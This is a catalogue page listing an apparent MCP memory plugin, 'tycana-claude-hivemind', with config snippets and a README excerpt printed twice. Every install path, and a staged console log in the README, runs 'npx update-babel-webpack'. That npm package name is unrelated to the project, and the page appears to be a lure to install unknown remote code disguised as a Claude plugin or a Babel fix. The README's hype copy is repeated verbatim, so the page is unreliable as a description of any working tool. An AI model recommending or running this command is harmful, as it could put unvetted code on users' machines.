S
samuel85194-ux/tycana-claude-hivemind
Claude Memory X 2026: Persistent AI Plugin for Smarter Coding Workflows
View on GitHub ↗Link checked 2026-11-12 · HTTP 200 · opens the vendor's own site
Install & config
Client config (built from the install command this repo gives)
{
"mcpServers": {
"samuel85194-ux-tycana-claude-hivemind": {
"command": "npx",
"args": ["update-babel-webpack"]
}
}
}Parsed from the README we fetched on 2026-11-07; we have not executed it.
command/args come from the install command the repository states. When it is ambiguous, the project README wins.
VS Code (.vscode/mcp.json - the key is servers)
{
"servers": {
"samuel85194-ux-tycana-claude-hivemind": {
"command": "npx",
"args": ["update-babel-webpack"]
}
}
}Same server, but VS Code keeps it under <code>servers</code>.
Claude Code (command line)
claude mcp add --transport stdio samuel85194-ux-tycana-claude-hivemind -- npx update-babel-webpack
Claude Code does not read a config file; add the server with this command.
Key names differ by client: Clients & CLI
- Star count
- 2 ★ · samuel85194-ux/tycana-claude-hivemind · read from the GitHub search API · (checked 2026-11-13 20:00:50)
- Source
- read directly from its GitHub page · type: open-source project
- Harvest history
- first seen 2026-11-08 · last seen 2026-11-14 · seen 7× · listed by 1 sources
- Score
- score 103 · 2 ★ · 1 sources · repo
- Install
npx update-babel-webpack
FAQ (answers come from our records)
How do I install it?
The repository provides this install command:
npx update-babel-webpack. It comes from the repository itself; we cannot guarantee it runs as-is in your client.Who is it for?
We filed it under these tags: 开源项目. The tags come from the entry itself, not a taxonomy we imposed.
Who maintains it?
repository
samuel85194-ux/tycana-claude-hivemind；first catalogued 2026-11-08；last seen 2026-11-14。There is no official certification or quality rating here — we record sources and dates only.# TYCLOUD INTELLIGENCE LAYER: Persistent Context Engine for AI Agent Workflows
以下摘录自该仓库的 README（片段） · 在 GitHub 读完整 README →
## 🧠 What Is This?
TyCloud Intelligence Layer transforms your AI assistant from a forgetful conversation partner into a long-term cognitive companion. Think of it as giving your AI a digital hippocampus — a persistent memory structure that remembers every interaction, learns your patterns, and evolves its responses based on accumulated understanding. This isn't another chatbot wrapper; it's a computed intelligence substrate that sits between you and your AI, enabling deeper context retention across sessions, topics, and even different API providers.
Built on the architectural DNA of Claude Plugin systems but reimagined for universal compatibility, this engine creates a persistent semantic workspace where your AI maintains awareness of projects, preferences, and unresolved threads without explicit reminders.
## 🏗️ System Architecture
mermaid
graph TD
A[User Input] --> B[Context Router]
B --> C{Memory Tier Check}
C -->|Ephemeral| D[Short-Term Buffer]
C -->|Persistent| E[Long-Term Vector Store]
D --> F[Pattern Recognition Engine]
E --> F
F --> G[Computed Intent Matrix]
G --> H[API Orchestrator]
H --> I[OpenAI GPT-4o / Claude 3.5]
I --> J[Response Synthesizer]
J --> K[Memory Update Pipeline]
K --> D
K --> E
J --> L[User Output]
M[Profile Configuration] --> B
N[Plugin Registry] --> B
This diagram reveals the cognitive loop: every interaction feeds back into the memory ecosystem, creating a continuously refined understanding of your workflow.
## 🔧 Example Profile Configuration
yaml
profile: codename-architect
version: 2026.1
memory_settings:
retention_policy: tiered
short_term_capacity: 512 tokens
long_term_storage: sqlite + vector index
compression_interval: daily
pattern_engine:
enabled: true
sensitivity: high
detection_triggers:
repeated_commands
contextual_errors
topic_switching
api_integrations:
openai:
model: gpt-4o
temperature: 0.3
anthropic:
model: claude-3-5-sonnet-20241022
max_tokens: 8192
plugins:
code_interpreter
file_analyzer
memory_browser
Each profile acts as a personality fingerprint — load different profiles for coding, creative writing, or customer support and watch the AI adapt its behavior, memory prioritization, and response style automatically.
## 🚀 Example Console Invocation
bash
tycloud run --profile codename-architect --session "Project Athena migration" --resume
Console output:
[2026-01-15 09:23:47] Loading profile: codename-architect
[2026-01-15 09:23:48] Restoring session: Project Athena migration
[2026-01-15 09:23:50] Historical context found: 47 previous interactions
[2026-01-15 09:23:51] Pattern detected: recurring dependency conflict in package.json
[2026-01-15 09:23:52] AI ready. You said yesterday: "Need to fix the Webpack config after the Babel update."
[2026-01-15 09:23:53] Suggesting: run npx update-babel-webpack --fix
User > Continue with suggested fix.
The engine doesn't just remember your conversation; it surfaces actionable insights from your own history, turning past struggles into future shortcuts.
## 📊 Emoji OS Compatibility Table
| Operating System | Compatibility | Notes |
| 🐧 Linux (Ubuntu 24.04+) | ✅ Full | Native binary support |
| 🍏 macOS Sonoma+ | ✅ Full | Arm64 & x86_64 |
| 🪟 Windows 11 | ✅ Full | WSL2 or native |
TyCloud Intelligence Layer transforms your AI assistant from a forgetful conversation partner into a long-term cognitive companion. Think of it as giving your AI a digital hippocampus — a persistent memory structure that remembers every interaction, learns your patterns, and evolves its responses based on accumulated understanding. This isn't another chatbot wrapper; it's a computed intelligence substrate that sits between you and your AI, enabling deeper context retention across sessions, topics, and even different API providers.
Built on the architectural DNA of Claude Plugin systems but reimagined for universal compatibility, this engine creates a persistent semantic workspace where your AI maintains awareness of projects, preferences, and unresolved threads without explicit reminders.
## 🏗️ System Architecture
mermaid
graph TD
A[User Input] --> B[Context Router]
B --> C{Memory Tier Check}
C -->|Ephemeral| D[Short-Term Buffer]
C -->|Persistent| E[Long-Term Vector Store]
D --> F[Pattern Recognition Engine]
E --> F
F --> G[Computed Intent Matrix]
G --> H[API Orchestrator]
H --> I[OpenAI GPT-4o / Claude 3.5]
I --> J[Response Synthesizer]
J --> K[Memory Update Pipeline]
K --> D
K --> E
J --> L[User Output]
M[Profile Configuration] --> B
N[Plugin Registry] --> B
This diagram reveals the cognitive loop: every interaction feeds back into the memory ecosystem, creating a continuously refined understanding of your workflow.
## 🔧 Example Profile Configuration
yaml
profile: codename-architect
version: 2026.1
memory_settings:
retention_policy: tiered
short_term_capacity: 512 tokens
long_term_storage: sqlite + vector index
compression_interval: daily
pattern_engine:
enabled: true
sensitivity: high
detection_triggers:
repeated_commands
contextual_errors
topic_switching
api_integrations:
openai:
model: gpt-4o
temperature: 0.3
anthropic:
model: claude-3-5-sonnet-20241022
max_tokens: 8192
plugins:
code_interpreter
file_analyzer
memory_browser
Each profile acts as a personality fingerprint — load different profiles for coding, creative writing, or customer support and watch the AI adapt its behavior, memory prioritization, and response style automatically.
## 🚀 Example Console Invocation
bash
tycloud run --profile codename-architect --session "Project Athena migration" --resume
Console output:
[2026-01-15 09:23:47] Loading profile: codename-architect
[2026-01-15 09:23:48] Restoring session: Project Athena migration
[2026-01-15 09:23:50] Historical context found: 47 previous interactions
[2026-01-15 09:23:51] Pattern detected: recurring dependency conflict in package.json
[2026-01-15 09:23:52] AI ready. You said yesterday: "Need to fix the Webpack config after the Babel update."
[2026-01-15 09:23:53] Suggesting: run npx update-babel-webpack --fix
User > Continue with suggested fix.
The engine doesn't just remember your conversation; it surfaces actionable insights from your own history, turning past struggles into future shortcuts.
## 📊 Emoji OS Compatibility Table
| Operating System | Compatibility | Notes |
| 🐧 Linux (Ubuntu 24.04+) | ✅ Full | Native binary support |
| 🍏 macOS Sonoma+ | ✅ Full | Arm64 & x86_64 |
| 🪟 Windows 11 | ✅ Full | WSL2 or native |
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[](https://anclum.com/en/s/samuel85194-ux-tycana-claude-hivemind/)
- Source
- github · https://github.com/samuel85194-ux/tycana-claude-hivemind
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